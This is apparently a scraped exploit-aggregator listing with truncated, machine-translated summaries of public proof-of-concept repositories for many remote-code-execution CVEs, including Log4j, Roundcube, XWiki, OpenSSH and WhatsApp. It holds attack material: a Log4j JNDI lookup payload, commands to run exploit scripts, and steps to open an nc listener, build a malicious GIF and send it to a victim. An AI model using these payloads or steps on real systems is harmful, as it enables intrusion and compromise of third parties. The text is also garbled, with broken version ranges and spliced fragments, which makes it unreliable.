CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 不要依赖当前的 Java 版本来拯救你。更新 Log4（或移除 JNDI 查找）。禁用扩展（这无论如何看起来都是个糟糕的主意）。 绕过 rc1 例如： root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

CVE-2023-33733

关于Reportlab v3.6.12的CVE-2023-33733 此实验环境是为测试CVE-2023-33733而搭建的。 分析过程 你可以在主仓库的PDF文件中查看我们关于此CVE的分析过程。 搭建与运行 服务端 搭建 root@kitploit: pip3 install -r requirements.txt 运行 root@kitploit: python3 app.py 攻击端 连接到服务器 连接到服务器IP地址 http://ServerIP:4444 运行后，你会看到类似这样的界面，你可以上传恶意HTML文件以观察RCE。 监听并上传文件 root@kitploit: ...

Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-

🚨 漏洞报告：Roundcube Webmail 中的 CVE-2025-49113 ⚠️ 重要提醒 — 负责任使用 本材料仅供教育和研究目的使用。 严格禁止将此处描述的信息和工具用于任何非法或恶意 活动。 作者对滥用此内容不承担任何责任 。 本仓库包含关于 CVE-2025-49113 漏洞的详细报告，这是一个由于 PHP 对象反序列化导致的关键远程代码执行（RCE）缺陷，影响 Roundcube Webmail 直至 1.6.10 的版本。 本项目的目的是作为教育和研究资源，演示如何在受控环境中识别和利用该漏洞。 📄 完整文档 要访问有关此漏洞的完整信息，包括服务部署、使用...

sjet

sJET（siberas 製） siberas JMX エクスプロイテーションツールキット sJET は、安全でない設定の JMX サービスを簡単に悪用できるようにします。追加の背景情報は、こちら および こちら にあります。 前提条件 Jython 2.7 使用方法 SJET は CLI インターフェースを実装しています（argparse を使用）。 root@kitploit: jython sjet.py targetHost targetPort password MODE modeOptions ここで targetHost - ターゲット IP アドレス targetPort...

CVE-2025-48384

CVE-2025-48384：利用回车键破坏 Git 并实现克隆远程代码执行 复现自 https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384。全部致谢 David Leadbeater。 这是对该漏洞的一个基本复现尝试。 触发方式：在受影响版本的 Git 上执行 git clone --recursive https://github.com/acheong08/CVE-2025-48384，你会发现在 /tmp/fishsucks 下突然出现一个文件。 我能够在 Git 版本 2.50.0 上复现。 以下是用于本地测试的脚本：...

CVE-2025-24893

CVE-2025-24893 的 PoC — XWiki 远程代码执行（安全 PoC） CVE-2025-24893 的 PoC： 针对 15.10.11 、16.4.1 及 16.5.0RC1 之前版本的 XWiki 远程代码执行漏洞利用。 ⚠️ 重要 — 仅限授权测试 本仓库包含一个 概念验证 （PoC）项目，仅供教育 和授权漏洞测试 使用。切勿 对不属于你或未经你明确书面许可测试的系统使用任何漏洞代码或技术。未经授权的使用可能违法。 概述 CVE： CVE-2025-24893 产品： XWiki 平台 受影响版本（已报告）： 15.10.11 、16.4.1 及 16.5.0RC1...

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

CVE-2024-51568 - PoC de Inyección de Comandos en CyberPanel Un entorno de prueba de concepto y plantilla Nuclei para probar CVE-2024-51568, una vulnerabilidad crítica de inyección de comandos sin autenticación en CyberPanel. Detalles de la Vulnerabilidad CVE: CVE-2024-51568 Severidad: Crítica CVS...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - 看起来很吓人。还记得 Stagefright 和 PNG 漏洞吗？通过 CVE-2019-2107，解码器/编解码器在 mediacodec 用户下运行，利用精心构造的视频（启用了图块 - pspps-i1tilesenabledflag）可能实现 RCE。受影响的编解码器是 HVEC（也称为 H.265 和 MPEG-H Part 2） exploit rce android stagefright cve 更多信息 LineageOS 安卓: root@kitploit: 02-11...

CVE-2024-21683-RCE

CVE-2024-21683-RCE 致谢 https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated 用法 root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

CVE-2020-11932

CVE-2020-11932 WhatsApp 漏洞利用 PoC 中的 Double-Free 漏洞。 注意：务必在 exploit.c 中设置监听 IP 以获取 shell nc -lvp 1337 或其他端口。 然后编译。 make 或 gcc -o exploit egiflib.c exploit.c 然后运行 ./exploit 并将内容保存为 .gif 然后发送给受害者。 来源 https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/. 演示视频...

cve-2019-0227

cve-2019-0227 apache axis1.4远程代码执行漏洞 需要在本机msf设置监听，另外需要修改代码24-30行处 ＃您需要更改这些变量以匹配您的配置 myip = “ 192.168.0.117 ” ＃您机器的IP target = “ 192.168.0.102 ” ＃目标IP 网关= “ 192.168.0.1 ” ＃默认网关 targetport = “ 8080 ” ＃目标运行轴的端口（可能是8080） pathtoaxis = “ http://192.168.0.102:8080/axis ” ＃这可以是自定义的视轴安装，但是这是默认...

CVE-2017-10952

CVE-2017-10952 以下是对 Foxit PDF 阅读器实施本地代码执行攻击的一个高级示例。此攻击的详细描述可在此处找到1。我已将1中链接到的漏洞文本描述复制粘贴到此处中，以便长期保存该描述——该描述由作者 Root 在 vulners.com 上撰写。 安装 Foxit 安装 FoxitReaderv8.3.0.14878.exe。按步骤完成安装过程。由于这只是一个演示如何利用此版本 Foxit PDF 阅读器的高级示例，因此无需修改浏览器或 Windows 默认应用程序设置来打开 PDF 文件；以下是一些安装截图，可帮助识别安装设置： 攻击演示 1. 安装 Foxit...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons 版本 1.13 至 1.13.10、2.0 至 2.0.5 及更早的不受支持版本中存在一个属性绑定漏洞，原因是未能正确中和特殊元素。未经身份验证的远程恶意用户（或攻击者）可以针对基于 Spring Data REST 的 HTTP 资源提供精心构造的请求参数，或使用 Spring Data 基于投影的请求负载绑定，从而导致远程代码执行攻击。 更多信息请参见此处 运行 该应用程序可以使用易受攻击版本或已修复版本的 Spring Data Commons 进行测试。 易受攻击版本（默认）： root@kitploit: mv...

Chrome-V8-RCE-CVE-2021-38003

Chrome-V8-RCE-CVE-2021-38003 CVE-2021-38003 漏洞利用代码提取自 https://twitter.com/WhichbufferArda/status/1609604183535284224...

CVE-2023-27372

CVE-2023-27372 SPIP anterior a 4.2.1 permite la ejecución remota de código a través de los valores de formulario en el área pública porque la serialización se gestiona de forma incorrecta. Las versiones corregidas son 3.2.18, 4.0.10, 4.1.8 y 4.2.1. Este PoC explota una inyección de código PHP en...

CVE-2018-7602

CVE-2018-7602 Existe una vulnerabilidad de ejecución remota de código en múltiples subsistemas de Drupal 7.x y 8.x. Esto potencialmente permite a los atacantes explotar múltiples vectores de ataque en un sitio Drupal, lo que podría resultar en el compromiso del sitio. Esta vulnerabilidad está...

CVE-2013-2028-Exploit

CVE-2013-2028 漏洞利用 漏洞详情 受影响软件：Nginx 1.3.9 -lp 4. 让漏洞利用程序找出金丝雀的实际值，并启动反向 shell。...

struts2_cve-2017-5638

struts2cve-2017-5638 这是一个对 Python 漏洞利用代码的 Java 移植版本，原代码位于：https://www.exploit-db.com/exploits/41570/。 该软件编写为无外部依赖。 免责声明 此工具仅供安全工程师和应用程序安全人员用于安全评估。请负责任地使用此工具。本人不对任何人使用此应用程序的方式承担责任。对于因使用此工具造成的任何损害或引发的任何犯罪，本人概不负责。 漏洞信息 CVE-ID ：CVE-2017-5638 链接 ：https://vulners.com/cve/CVE-2017-5638 描述 ：Apache Struts...

CVE-2024-22120-RCE-with-gopher

使用方法 root@kitploit: python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime 概述 此漏洞利用工具旨在利用XXE（XML外部实体）漏洞。通过它，我读取了Web服务的后端代码，并发现了一个端点，在该端点上我可以使用gopher协议向易受远程代码执行攻击的Zabbix版本6.0.27发起内部请求。...

CVE-2024-6387

CVE-2024-6387.py - PoC Notas Importantes!!! El exploit funciona SOLO para servidores OpenSSH de 32 bits. Esto se debe a que el PoC utiliza punteros de 32 bits. También se sabe que algunas versiones ya están parcheadas, y no todos los servidores son vulnerables. Probado en: Kali Linux, ParrotSec,...